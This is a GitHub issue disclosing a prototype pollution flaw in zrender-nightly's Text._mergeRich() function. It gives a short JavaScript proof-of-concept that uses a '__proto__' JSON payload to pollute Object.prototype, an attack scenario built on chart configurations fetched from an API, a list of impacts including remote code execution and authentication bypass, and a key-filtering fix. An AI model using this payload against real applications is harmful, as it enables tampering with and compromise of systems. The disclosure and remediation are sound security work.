Skip to content

Prototype Pollution in Text._mergeRich() via zrender-nightly #1153

@gnsehfvlr

Description

@gnsehfvlr

Prototype Pollution in zrender-nightly

Summary

zrender-nightly (<= 6.0.1-dev) is vulnerable to Prototype Pollution via the Text.prototype._mergeRich() function.

Description

zrender is the rendering engine behind Apache ECharts. The Text.prototype._mergeRich() function recursively merges rich text style objects without filtering dangerous keys (__proto__, constructor, prototype). When processing crafted rich text configuration, the function traverses into Object.prototype and modifies it.

This is especially concerning because ECharts/ZRender is one of the most widely used charting libraries, and chart configuration data often comes from external sources.

Proof of Concept

const zrender = require("zrender-nightly");

// Before: prototype is clean
console.log("Before:", ({}).polluted); // undefined

// Create a Text instance and trigger _mergeRich with malicious data
const text = new zrender.Text({});
const malicious = JSON.parse('{"__proto__":{"polluted":"yes"}}');
text._mergeRich({}, malicious);

// After: Object.prototype is polluted
console.log("After:", ({}).polluted);                     // "yes"
console.log("Object.prototype.polluted:", Object.prototype.polluted); // "yes"

// Every new object inherits the polluted property
const fresh = {};
console.log("fresh.polluted:", fresh.polluted); // "yes"

Why this is a real vulnerability

  1. Object.prototype is globally modified — after the PoC runs, every newly created object has the polluted property

  2. The root cause is in _mergeRich() which recursively merges rich text style objects:

    • It iterates over all keys in the source style object
    • When it encounters __proto__, it follows it into Object.prototype
    • It then assigns properties onto Object.prototype
    • No key filtering is performed
  3. Attack scenario: ZRender/ECharts charts accept configuration with rich text styles. If chart data comes from an API or user input:

    // Server renders chart with data from API
    const chartData = await fetch("/api/chart-config").then(r => r.json());
    chart.setOption(chartData);
    // If chartData contains rich text with __proto__ → pollution
  4. This is a well-documented vulnerability classCVE-2020-8203 (lodash) is the same pattern

Impact

  • Remote Code Execution (RCE)child_process.spawn inherits shell: true from polluted prototype
  • Denial of Service (DoS) — overriding toString/valueOf crashes string coercion
  • Authentication Bypass — polluting isAdmin/role properties
  • Property Injection — all objects inherit polluted properties

Remediation

Filter dangerous keys in _mergeRich():

const UNSAFE_KEYS = new Set(["__proto__", "constructor", "prototype"]);

// Add this check in the merge loop:
if (UNSAFE_KEYS.has(key)) continue;

References

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions